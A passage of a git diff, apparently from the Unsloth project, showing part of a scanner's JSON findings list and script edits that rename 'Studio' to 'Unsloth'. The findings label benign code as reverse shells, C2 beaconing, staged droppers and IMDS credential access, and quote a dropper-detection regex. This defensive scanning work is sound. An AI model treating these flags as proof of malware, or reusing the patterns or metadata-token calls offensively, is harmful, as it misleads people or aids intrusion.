-      "evidence": "Obfusc: L1013:             _mod = __import__(model_location, fromlist=items) | L4291:         f\"   {chr(92)}{chr(92)}   /|    Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4292:         f\"O^O/ {chr(92)}_/ {chr(92)}    Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4293:         f\"{chr(92)}        /    Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4294:         f' \"-____-\"     Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4292:         f\"O^O/ {chr(92)}_/ {chr(92)}    Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4293:         f\"{chr(92)}        /    Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4294:         f' \"-____-\"     Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4291:         f\"   {chr(92)}{chr(92)}   /|    Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4292:         f\"O^O/ {chr(92)}_/ {chr(92)}    Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4293:         f\"{chr(92)}        /    Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L612:                 if eval(_dtype) is not None: | L613:                     dtype = eval(_dtype) | L955:         _modeling_file = eval(model_location) | L1255:     f = eval(f\"{model_location}.{module}\") | L1563:         exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L1564:         try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L2699:         exec(f\"import {parent}\", locals(), globals()) | L2830:                 dir(eval(parent)), | L2834:             exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L2908:         module = eval(f\"modeling_file.{module}\") | L2935:             inner_class = eval(f\"modeling_file.{inner_class}\") | L3065:                 exec(f\"from timm.layers.norm_act import {norm}\") | L3073:             forward = eval(norm).forward | L3079:             exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L3096:                 exec(f\"from timm.models._efficientnet_blocks import {block}\") | L3104:             forward = eval(block).forward | L3110:             exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L3385:         exec(f\"import {model_location}\", globals()) | L3388:     modeling_file = eval(model_location) | L3401:     exec(\nL3402:         \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL3403:     ) | L3405:     exec(\nL3406:         \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL3407:         globals(),\nL3408:         locals(),\nL3409:     ) | L3560:         source = eval(f\"modeling_file.{module}\") | L3574:         source = eval(f\"modeling_file.{module}\") | L3675:         source = eval(f\"modeling_file.{module}\") | L3713:             source = eval(f\"{model_location}.{module}\") | L3784:                 source = eval(f\"{model_location}.{module}\") | L3832:             source = eval(f\"{model_location}.{module}\") | L4054:         source = eval(f\"{model_location}.{module}\") | L4065:         exec(\nL4066:             f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL4067:             globals(),\nL4068:         ) | L4131:                 source = eval(f\"{model_location}.{module}\") | L4172:                 module_cls = eval(f\"{model_location}.{module}\") | L4209:                 module_cls = eval(f\"{model_location}.{module}\") | L4276:     exec(\nL4277:         \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL4278:         globals(),\nL4279:     ) | L4341:     exec(inner_training_loop, globals()) | L4349:             function = eval(f\"{model_location}.{module}\") | L4427:             function = eval(f\"{model_location}.{module}\") | L4562:                 source = eval(f\"{model_location}.torch\") | L4569:             function = eval(f\"source.nn.{module}\") | L4628:             exec(\nL4629:                 f\"{model_location}.torch.nn.{module}.forward = forward\",\nL4630:                 globals(),\nL4631:                 locals(),\nL4632:             ) | L4634:                 exec(\nL4635:                     f\"{model_location}.nn.{module}.forward = forward\",\nL4636:                     globals(),\nL4637:                     locals(),\nL4638:                 ) | L4642:                 exec(\nL4643:                     f\"combined_module.torch.nn.{module}.forward = forward\",\nL4644:                     globals(),\nL4645:                     locals(),\nL4646:                 ) | L4648:                     exec(\nL4649:                         f\"combined_module.nn.{module}.forward = forward\",\nL4650:                         globals(),\nL4651:                         locals(),\nL4652:                     ) | L4669:             exec(\nL4670:                 f\"{model_location}.{module} = combined_module.{module}\",\nL4671:                 globals(),\nL4672:                 locals(),\nL4673:             ) | L4683:     check_dicts = dir(eval(f\"{model_location}\")) | L4685:         item = eval(f\"{model_location}.{check}\") | L4695:                         exec(\nL4696:                             f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL4697:                             globals(),\nL4698:                             locals(),\nL4699:                         )",
+      "evidence": "Obfusc: L1013:             _mod = __import__(model_location, fromlist=items) | L4295:         f\"   {chr(92)}{chr(92)}   /|    Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4296:         f\"O^O/ {chr(92)}_/ {chr(92)}    Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4297:         f\"{chr(92)}        /    Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4298:         f' \"-____-\"     Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4296:         f\"O^O/ {chr(92)}_/ {chr(92)}    Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4297:         f\"{chr(92)}        /    Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4298:         f' \"-____-\"     Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4295:         f\"   {chr(92)}{chr(92)}   /|    Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4296:         f\"O^O/ {chr(92)}_/ {chr(92)}    Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4297:         f\"{chr(92)}        /    Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L612:                 if eval(_dtype) is not None: | L613:                     dtype = eval(_dtype) | L955:         _modeling_file = eval(model_location) | L1255:     f = eval(f\"{model_location}.{module}\") | L1563:         exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L1564:         try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L2699:         exec(f\"import {parent}\", locals(), globals()) | L2830:                 dir(eval(parent)), | L2834:             exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L2908:         module = eval(f\"modeling_file.{module}\") | L2935:             inner_class = eval(f\"modeling_file.{inner_class}\") | L3065:                 exec(f\"from timm.layers.norm_act import {norm}\") | L3073:             forward = eval(norm).forward | L3079:             exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L3096:                 exec(f\"from timm.models._efficientnet_blocks import {block}\") | L3104:             forward = eval(block).forward | L3110:             exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L3389:         exec(f\"import {model_location}\", globals()) | L3392:     modeling_file = eval(model_location) | L3405:     exec(\nL3406:         \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL3407:     ) | L3409:     exec(\nL3410:         \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL3411:         globals(),\nL3412:         locals(),\nL3413:     ) | L3564:         source = eval(f\"modeling_file.{module}\") | L3578:         source = eval(f\"modeling_file.{module}\") | L3679:         source = eval(f\"modeling_file.{module}\") | L3717:             source = eval(f\"{model_location}.{module}\") | L3788:                 source = eval(f\"{model_location}.{module}\") | L3836:             source = eval(f\"{model_location}.{module}\") | L4058:         source = eval(f\"{model_location}.{module}\") | L4069:         exec(\nL4070:             f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL4071:             globals(),\nL4072:         ) | L4135:                 source = eval(f\"{model_location}.{module}\") | L4176:                 module_cls = eval(f\"{model_location}.{module}\") | L4213:                 module_cls = eval(f\"{model_location}.{module}\") | L4280:     exec(\nL4281:         \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL4282:         globals(),\nL4283:     ) | L4345:     exec(inner_training_loop, globals()) | L4353:             function = eval(f\"{model_location}.{module}\") | L4431:             function = eval(f\"{model_location}.{module}\") | L4566:                 source = eval(f\"{model_location}.torch\") | L4573:             function = eval(f\"source.nn.{module}\") | L4632:             exec(\nL4633:                 f\"{model_location}.torch.nn.{module}.forward = forward\",\nL4634:                 globals(),\nL4635:                 locals(),\nL4636:             ) | L4638:                 exec(\nL4639:                     f\"{model_location}.nn.{module}.forward = forward\",\nL4640:                     globals(),\nL4641:                     locals(),\nL4642:                 ) | L4646:                 exec(\nL4647:                     f\"combined_module.torch.nn.{module}.forward = forward\",\nL4648:                     globals(),\nL4649:                     locals(),\nL4650:                 ) | L4652:                     exec(\nL4653:                         f\"combined_module.nn.{module}.forward = forward\",\nL4654:                         globals(),\nL4655:                         locals(),\nL4656:                     ) | L4673:             exec(\nL4674:                 f\"{model_location}.{module} = combined_module.{module}\",\nL4675:                 globals(),\nL4676:                 locals(),\nL4677:             ) | L4687:     check_dicts = dir(eval(f\"{model_location}\")) | L4689:         item = eval(f\"{model_location}.{check}\") | L4699:                         exec(\nL4700:                             f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL4701:                             globals(),\nL4702:                             locals(),\nL4703:                         )",
       "evidence_hash": "ec1875fd32d00fe885e566ebda75163e46e838ca31020abb57e0991892c2bdf7"
     },
     {
@@ -1423,8 +1519,8 @@
       "file": "unsloth_zoo/mlx/loader.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L2218:             _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L140:     mx.eval(model.parameters()) | L176:     mx.eval(model.parameters()) | L2022:         model.eval() | L2605:         mx.eval(model.parameters()) | L2721:         mx.eval(module.weight) | L4030:                 mx.eval(model.parameters()) | L4058:                 mx.eval(model.parameters()) | L4178:                 mx.eval(model.parameters())",
-      "evidence_hash": "9b29dade82912216c8b4808aa293b79749aa80ef1d2be35edd93bec7632810f1"
+      "evidence": "Obfusc: L2869:             _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L148:     mx.eval(model.parameters()) | L180:     mx.eval(model.parameters()) | L732:                 mx.eval(model.parameters()) | L733:                 mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L799:             mx.eval(model.parameters()) | L802:                 mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L2673:         model.eval() | L3256:         mx.eval(model.parameters()) | L3372:         mx.eval(module.weight) | L5666:                 mx.eval(model.parameters()) | L5716:                 mx.eval(model.parameters()) | L5859:                 mx.eval(model.parameters())",
+      "evidence_hash": "7b44760032c5df6d379ccfdd0bff3d23f857f64e08210fa0fba8d2881d457634"
     },
     {
       "package": "unsloth-zoo",
@@ -1439,7 +1535,7 @@
       "file": "unsloth_zoo/saving_utils.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L3241:         module = __import__('transformers', fromlist=[model_class_name])\nExec: L3123:     exec(f\"from transformers.modeling_utils import ({', '.join(functions)})\", locals(), globals()) | L3169:     exec(save_pretrained, globals(), functions)",
+      "evidence": "Obfusc: L4015:         module = __import__('transformers', fromlist=[model_class_name])\nExec: L3897:     exec(f\"from transformers.modeling_utils import ({', '.join(functions)})\", locals(), globals()) | L3943:     exec(save_pretrained, globals(), functions)",
       "evidence_hash": "530b2383acd9fe8330aa65cd0bf86164aaacd47770e7c8d0752195bee36396ec"
     },
     {
@@ -1451,44 +1547,76 @@
       "evidence_hash": "5c0992c90f05c772abd94d00784f157de337e1f8567f8b3aee1b15e46c96cd5d"
     },
     {
-      "package": "multiprocess",
-      "file": "multiprocess/tests/__init__.py",
-      "check": "Reverse shell / bind shell pattern",
+      "package": "unsloth-zoo",
+      "file": "tests/test_mlx_save_export_regressions.py",
+      "check": "Writes to /tmp and executes (staged dropper)",
       "severity": "CRITICAL",
-      "evidence": "L3355:                     os.dup2(conn.fileno(), i) | L3387:                          \"test needs os.dup2()\") | L3405:             os.dup2(fd, newfd) | L19: import socket sha256:26a745abdc7e89da28ab943394234d8ccb415e805477c3cc1f7d4766341a4c4c",
-      "evidence_hash": "a6b9bb85e9bb6682ab0dea4f95fd9266e8802f118c76d86dd87f7ab5864872cf"
+      "evidence": "L165:         temporary_location=\"/tmp/ignored\", sha256:ab5c587f9ec31a0cc10ee55698ab133a417148d9d3f371bbc81b1e13fa119c13",
+      "evidence_hash": "93a11159147aad94f353ec4d2e0b8486b256abef88cd96d741813222cd32b138"
     },
     {
       "package": "unsloth-zoo",
-      "file": "scripts/scan_packages.py",
+      "file": "tests/test_vision_collator_audio.py",
       "check": "Writes to /tmp and executes (staged dropper)",
       "severity": "CRITICAL",
-      "evidence": "L308:     r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", | L308:     r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", sha256:78268349021e21bedcd2eaaa5b4a71b0de1d52e023ada914dfdc09515ee1aad8",
-      "evidence_hash": "590fe1c96c442fbea5eb8642650257bc0b0199e919b9bacdb11dfa767b6fe839"
+      "evidence": "L111:         out = extract_audio_info(msgs({\"type\": \"audio\", key: \"/tmp/a.wav\"})) sha256:2efe23ffbe2b91b8403aec9b700736919b59e5ca770f8e1f5501651b44b7d398",
+      "evidence_hash": "d416b79dd17b24214f3f7653ac01354507d7bf0fc464dee30a4a4b8998f063ba"
     },
     {
-      "package": "multiprocess",
-      "file": "multiprocess/tests/__init__.py",
-      "check": "Reverse shell / bind shell pattern",
-      "severity": "CRITICAL",
-      "evidence": "L3521:                     os.dup2(conn.fileno(), i) | L3553:                          \"test needs os.dup2()\") | L3571:             os.dup2(fd, newfd) | L20: import socket sha256:07d2933301c0dbeeb6e42381687827d8dd7cfd7471986c559ca64283d5ae6e24",
-      "evidence_hash": "db1f4ca69865ec3911d7450fe11d212b817139deda21cd7a4ee32d547a8dc452"
-    },
-    {
-      "package": "fastapi",
-      "file": "fastapi/routing.py",
+      "package": "openai",
+      "file": "openai/_base_client.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L586:                                 while True: sha256:bef9ea429314fad39e063895a37dc5cfe9b04561f3d1acbb3c99abb4e92e6cfe",
-      "evidence_hash": "b15773e1bc249713156a349278ea60f7c0e3dd7d537affe929ab51089e1942bb"
+      "evidence": "L274:         while True: sha256:90a38e5c1e26893c7c273354143612640e9a9c0f079d3e2b60612d79f24e80a6",
+      "evidence_hash": "1022e8e8649436ec64a98a9d9141d085452c49549fd2157b0278fc369a83ac66"
     },
     {
-      "package": "tensorboard",
-      "file": "tensorboard/plugins/projector/tf_projector_plugin/projector_binary.js",
-      "check": "Python wheel ships large JS bundle (uncommon; manually review)",
+      "package": "openai",
+      "file": "openai/auth/_workload.py",
+      "check": "Accesses cloud metadata/IMDS AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "IMDS: L97:             url = \"http://169.254.169.254/metadata/identity/oauth2/token\" | L150:             url = \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity\"\nNetwork: L78:     http_client: httpx.Client | None = None, | L109:                 with httpx.Client() as client: | L134:     http_client: httpx.Client | None = None, | L156:                 with httpx.Client() as client: | L251:         exchange_client = DefaultHttpx2Client(follow_redirects=False) if self._use_httpx2 else httpx.Client()",
+      "evidence_hash": "9717e51cb961dc14c458955d91a1e48e3753997346ecea0106bded3a8d64bfe0"
+    },
+    {
+      "package": "openai",
+      "file": "openai/resources/beta/responses/responses.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L4000:         while True: sha256:f8ab538118daba9ec06e27399dbdc90a4521c3390e6a47a6348a1f180a83effd",
+      "evidence_hash": "31481ea83c687acc27144d72d3832d4fb98dd1c79fb5e0ddd85080de95997b9f"
+    },
+    {
+      "package": "openai",
+      "file": "openai/resources/realtime/realtime.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L311:         while True: sha256:5b63313072aae9ca28677e03426513ccf12221e4f4e0ea6c31efbe09790633b5",
+      "evidence_hash": "05e1af469d651b51673763a7c4cdf759af9472fb627b7b470adc28cc237bd650"
+    },
+    {
+      "package": "openai",
+      "file": "openai/resources/responses/responses.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L3951:         while True: sha256:d68ef896bf0743ca430cfacb9a3353da1f3b9c51c3a21b6450a07a32b55aa2ac",
+      "evidence_hash": "160eecdd79b521bffbe8476f782b69a0724c35d1b19376a7600807165fd54f9f"
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "tests/test_gemma4_forced_float32_ple_dtype.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "sha256: 53c38430766be25dc672a30846ac3b9eba86aee35eb0746785ec012647c7d9a2",
-      "evidence_hash": "2c6384e8115a6d5dacf1f84d8f724832d8dc59feb442bb98ffae0857c0ccb381"
+      "evidence": "Obfusc: L277:     compile(rewritten + _GEMMA4_PLE_CAST_HELPER, \"<gemma4-ple-generated>\", \"exec\") | L440:     compile(on, \"<gemma4-ple-append>\", \"exec\") | L468:     compile(generated, \"<gemma4-ple-crosspath>\", \"exec\")\nExec: L19:     exec(_GEMMA4_PLE_CAST_HELPER, namespace)",
+      "evidence_hash": "a85e24d8e7c431563cbd83b70f91a3b971abde0f37083d68e70984147960cc70"
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "tests/test_vision_collator_audio.py",
+      "check": "Writes to /tmp and executes (staged dropper)",
+      "severity": "CRITICAL",
+      "evidence": "L111:         out = extract_audio_info(msgs({\"type\": \"audio\", key: \"/tmp/a.wav\"})) sha256:022f81dd21acfc6a35a058de96132834c218404a9e37b3d09a7768a8c8f6c728",
+      "evidence_hash": "2d1e75446af120d9133a42aa8af426a839d3434d9dc109cc1d6c1b22ca1ddb75"
     }
   ]
 }
diff --git a/scripts/stamp_studio_release.py b/scripts/stamp_studio_release.py
index 7dab35ea8a..739f6d1063 100644
--- a/scripts/stamp_studio_release.py
+++ b/scripts/stamp_studio_release.py
@@ -2,7 +2,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Stamp and verify display-only Studio release metadata for builds."""
+"""Stamp and verify display-only Unsloth release metadata for builds."""
 
 from __future__ import annotations
 
@@ -50,7 +50,7 @@ MAX_VERSION_LENGTH = 64
 PLACEHOLDER = """# SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-\"\"\"Build-stamped Studio release metadata.
+\"\"\"Build-stamped Unsloth release metadata.
 
 Release builds may rewrite this module in the build workspace before creating
 Python artifacts. Keep the committed value neutral so source checkouts do not
@@ -145,7 +145,7 @@ def build_info_source(version: str | None) -> str:
     return f'''# SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Build-stamped Studio release metadata."""
+"""Build-stamped Unsloth release metadata."""
 
 STUDIO_RELEASE_VERSION = {literal}
 '''
@@ -168,7 +168,7 @@ def stamp(require_release: bool) -> int:
     version, source = resolve_version()
     if version is not None and not is_valid_version(version):
         print(
-            f"Invalid Studio release version from {source}: {version!r}",
+            f"Invalid Unsloth release version from {source}: {version!r}",
             file = sys.stderr,
         )
         return 2
@@ -196,9 +196,9 @@ def stamp(require_release: bool) -> int:
     if version is None:
         if require_release:
             print(
-                "No Studio release version available. Set "
+                "No Unsloth release version available. Set "
                 "UNSLOTH_STUDIO_RELEASE_VERSION, build from a GitHub tag, "
-                "or run from an exact local Studio release tag.",
+                "or run from an exact local Unsloth release tag.",
                 file = sys.stderr,
             )
             return 2
@@ -207,7 +207,7 @@ def stamp(require_release: bool) -> int:
         return 0
 
     _atomic_write_text(BUILD_INFO_PATH, build_info_source(version), encoding = "utf-8")
-    print(f"Stamping Studio release version {version} from {source}", file = sys.stderr)
+    print(f"Stamping Unsloth release version {version} from {source}", file = sys.stderr)
     print(version)
     return 0
 
@@ -233,7 +233,7 @@ def _read_sdist_member(path: Path) -> str | None:
 
 def verify_dist(expected: str, dist_dir: Path) -> int:
     if not is_valid_version(expected):
-        print(f"Invalid expected Studio release version: {expected!r}", file = sys.stderr)
+        print(f"Invalid expected Unsloth release version: {expected!r}", file = sys.stderr)
         return 2
 
     artifacts = list(dist_dir.glob("*.whl")) + list(dist_dir.glob("*.tar.gz"))
@@ -251,14 +251,14 @@ def verify_dist(expected: str, dist_dir: Path) -> int:
         if content is None:
             failures.append(f"{artifact.name}: missing {BUILD_INFO_SUFFIX}")
         elif expected_line not in content:
-            failures.append(f"{artifact.name}: Studio release version mismatch")
+            failures.append(f"{artifact.name}: Unsloth release version mismatch")
 
     if failures:
         for failure in failures:
             print(failure, file = sys.stderr)
         return 2
 
-    print(f"Verified Studio release version {expected} in {len(artifacts)} artifact(s)")
+    print(f"Verified Unsloth release version {expected} in {len(artifacts)} artifact(s)")
     return 0
 
 
diff --git a/scripts/uninstall.ps1 b/scripts/uninstall.ps1
index 88defb9ea0..9b6e6ebb86 100644
--- a/scripts/uninstall.ps1
+++ b/scripts/uninstall.ps1
@@ -83,7 +83,7 @@ function Uninstall-UnslothStudio {
         }
     }
 
-    # A path is a Studio-owned root iff one of install.ps1's sentinels exists:
+    # A path is an Unsloth-owned root iff one of install.ps1's sentinels exists:
     #   <root>\share\studio.conf, <root>\unsloth_studio\.unsloth-studio-owned,
     #   or <root>\bin\unsloth.exe.
     function _IsStudioRoot {
@@ -164,7 +164,7 @@ function Uninstall-UnslothStudio {
         return $p
     }
 
-    # Discover non-default Studio roots from env vars + studio.conf files.
+    # Discover non-default Unsloth roots from env vars + studio.conf files.
     # Mirrors install.ps1's precedence: UNSLOTH_STUDIO_HOME wins, STUDIO_HOME
     # is ignored when both are set, so uninstalling install A doesn't also
     # delete install B if the user has a stale STUDIO_HOME pointing at B.
@@ -207,7 +207,7 @@ function Uninstall-UnslothStudio {
 
     # Return $true iff the PID's image path lives under one of $KnownRoots.
     # Prevents killing an unrelated process that happens to listen on a stale
-    # Studio port.
+    # Unsloth port.
     function _PidUnderKnownRoot {
         param([int]$Pid_, [string[]]$KnownRoots)
         if (-not $KnownRoots -or $KnownRoots.Count -eq 0) { return $false }
@@ -223,8 +223,8 @@ function Uninstall-UnslothStudio {
         return $false
     }
 
-    # Stop a Studio backend whose port is recorded in <DataDir>\studio.port.
-    # Only kills if the listening PID's exe path is under a known Studio root.
+    # Stop an Unsloth backend whose port is recorded in <DataDir>\studio.port.
+    # Only kills if the listening PID's exe path is under a known Unsloth root.
     function _StopByPortFile {
         param([string]$PortFile, [string[]]$KnownRoots)
         if (-not (Test-Path -LiteralPath $PortFile -PathType Leaf)) { return }
@@ -372,7 +372,7 @@ function Uninstall-UnslothStudio {
             continue
         }
         if (-not (_IsStudioRoot $r)) {
-            _Substep "refusing to remove non-Studio path: $r" "Yellow"
+            _Substep "refusing to remove non-Unsloth path: $r" "Yellow"
             continue
         }
         _RemovePath $r
@@ -436,7 +436,7 @@ function Uninstall-UnslothStudio {
                     $entries = $rawPath -split ';'
                     $kept = New-Object System.Collections.ArrayList
                     $removedAny = $false
-                    # Only remove PATH entries that live inside a Studio root we
+                    # Only remove PATH entries that live inside an Unsloth root we
                     # actually own (default or env-mode). A literal substring
                     # match on `unsloth_studio` would clobber unrelated user
                     # virtualenvs that happen to share the name.
diff --git a/scripts/uninstall.sh b/scripts/uninstall.sh
index 31e851fcbb..957d2b7af2 100755
--- a/scripts/uninstall.sh
+++ b/scripts/uninstall.sh
@@ -12,7 +12,7 @@
 
 set -e
 
-# Stop a Studio server via its PID file (written by install.sh's _spawn_terminal).
+# Stop an Unsloth server via its PID file (written by install.sh's _spawn_terminal).
 _kill_pid_file() {
     _pid_file="$1"
     [ -f "$_pid_file" ] || return 0
@@ -47,7 +47,7 @@ _pkill_studio() {
     command -v pkill >/dev/null 2>&1 || return 0
 
     # Scope fallback patterns to the install roots we are removing so a
-    # different Studio install (different UNSLOTH_STUDIO_HOME) is not touched.
+    # different Unsloth install (different UNSLOTH_STUDIO_HOME) is not touched.
     _kill_roots="$HOME/.unsloth/studio"
     _roots_from_conf=$(_custom_studio_roots 2>/dev/null || true)
     [ -n "$_roots_from_conf" ] && _kill_roots="$_kill_roots
@@ -89,7 +89,7 @@ _remove_path() {
     fi
 }
 
-# Accept as Studio root only if Studio sentinels exist (matches install.sh's
+# Accept as Unsloth root only if Unsloth sentinels exist (matches install.sh's
 # env-mode ownership guard at install.sh:1358-1361). A bare unsloth_studio/
 # directory is NOT enough -- require the install-time owner marker so a user
 # directory that happens to contain a folder named "unsloth_studio" is safe.
@@ -175,8 +175,8 @@ _custom_studio_roots() {
     _from_conf "$HOME/.local/share/unsloth/studio.conf"
 }
 
-# Remove $HOME/.local/bin/unsloth only if it's a Studio-managed symlink.
-# Studio's install.sh writes this as a symlink into the studio venv
+# Remove $HOME/.local/bin/unsloth only if it's an Unsloth-managed symlink.
+# Unsloth's install.sh writes this as a symlink into the studio venv
 # (install.sh: `ln -sfn "$VENV_DIR/bin/unsloth" "$_shim_path"`). A
 # pip-installed `unsloth` CLI is a regular file — leave it alone to avoid
 # wiping an unrelated install.
@@ -206,7 +206,7 @@ _custom_studio_roots | while IFS= read -r _custom_root; do
         continue
     fi
     if ! _is_studio_root "$_custom_root"; then
-        echo "  refusing to remove non-Studio path: $_custom_root" >&2
+        echo "  refusing to remove non-Unsloth path: $_custom_root" >&2
         continue
     fi
     _remove_path "$_custom_root"
@@ -234,7 +234,7 @@ _remove_path "$HOME/.unsloth/rocm-smoketest"
 # Drop ~/.unsloth only if now empty (rmdir refuses non-empty, so user content is kept).
 rmdir "$HOME/.unsloth" 2>/dev/null || true
 _remove_path "$HOME/.local/share/unsloth"
-# CLI shim: only the symlink Studio created, never a pip-installed file.
+# CLI shim: only the symlink Unsloth created, never a pip-installed file.
 _remove_cli_shim
 
 echo "Removing desktop shortcut and launcher lock..."
diff --git a/scripts/verify_import_hoist.py b/scripts/verify_import_hoist.py
index b4c908b0cb..22a21a2ebc 100644
--- a/scripts/verify_import_hoist.py
+++ b/scripts/verify_import_hoist.py
@@ -564,6 +564,12 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]]
     for n, tids in b["module_import_targets"].items():
         if tids & after_used:
             continue  # resolved -> fine
+        # `from __future__ import ...` is a compiler directive, not a runtime
+        # binding: the name (`annotations`, ...) is never loaded, so it can never
+        # "resolve" to a use. Skip it so a legitimately-added future import
+        # (e.g. `annotations` for lazy PEP 604 `X | None` on py3.9) is not flagged.
+        if all(t.startswith("from:__future__:") for t in tids):
+            continue
         newly_added = bool(tids - before_module_targets)
         was_used_before = bool(tids & before_used)
         if newly_added or was_used_before:
@@ -588,9 +594,23 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]]
     #    package object and only *add* submodule attributes (e.g. adding
     #    `import urllib.error` next to `import urllib.request`). Nothing the name
     #    resolved to before is lost, so no reference is re-pointed -- skip it.
+    #
+    #    A deliberate *relocation* is also benign and must not block: when a name
+    #    keeps its spelling but its import source is moved A -> B in THIS diff (the
+    #    old `from A import x` is removed at module level and a new `from B import x`
+    #    is added), the swap is intentional, not a silent re-point to a pre-existing
